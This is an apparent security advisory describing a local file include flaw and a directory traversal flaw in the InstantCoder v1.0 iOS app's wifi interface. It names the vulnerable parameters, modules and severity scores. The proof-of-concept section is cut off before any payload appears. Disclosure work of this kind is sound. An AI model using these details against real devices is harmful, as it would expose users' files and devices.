Technical Details & Description:
================================
1.1
A local file include web vulnerability has been discovered in the official InstantCoder v1.0 \
iOS mobile web-application (wifi). The file include vulnerability allows remote attackers to \
unauthorized include local file/path requests or system specific path commands to compromise \
the mobile web-application.
The web vulnerability is located in the `filename` value of the `./toolkit/upload` module. \
Remote attackers are able to inject own files with malicious `filename` values in the `file \
upload` POST method request to compromise the mobile web-application. The local file/path \
include execution occcurs in the index file dir listing and sub folders of the wifi interface. \
The attacker is able to inject the lfi payload by usage of the wifi interface or local file \
sync function.
Attackers are also able to exploit the filename issue in combination with persistent injected \
script code to execute different malicious attack requests. The attack vector is located on \
the application-side of the wifi service and the request method to inject is POST.
The security risk of the local file include vulnerability is estimated as high with a cvss \
(common vulnerability scoring system) count of 6.4. Exploitation of the local file include web \
vulnerability requires no user interaction or privileged web-application user account. \
Successful exploitation of the local file include vulnerability results in mobile application \
compromise or connected device component compromise.
Request Method(s):
[+] [POST]
Vulnerable Module(s):
[+] ./toolkit/upload
Vulnerable Parameter(s):
[+] filename
Affected Module(s):
[+] Index File Dir Listing (http://localhost:8080/)
1.2
A directory traversal web vulnerability has been discovered in the official InstantCoder v1.0 \
iOS mobile web-application (wifi). The vulnerability allows remote attackers to unauthorized \
access path variables to compromise the web-application or mobile device.
The directory traversal web vulnerability is located in the `path` value of the `listFiles` \
module. Remote attackers are able to manipulate the path variable GET or POST method request \
to compromise the application. The request method to inject the payload is POST and the \
request method to execute is GET. The attack vector of the vulnerability is located on the \
application-side. The path variable is not encoded or parsed. Thus allows an attacker to \
inject to unauthorized access the local system or app path.
The security risk of the path traversal vulnerability is estimated as high with a cvss (common \
vulnerability scoring system) count of 7.0. Exploitation of the local file include web \
vulnerability requires no user interaction or privileged web-application (wifi ui) user \
account. Successful exploitation of the path traversal vulnerability results in mobile \
application compromise or compromise of connected device components.
Request Method(s):
[+] [POST]
Vulnerable Module(s):
[+] ./listFiles
Vulnerable Parameter(s):
[+] path
Affected Module(s):
[+] Index File Dir Listing (http://localhost:8080/)
Proof of Concept (PoC):
=======================
1.1
The local file include web vulnerability can be exploited by remote attackers with wifi panel \
access and without user interaction. For security demonstration or to reproduce the \
vulnerability follow the provided information and steps below to continue.
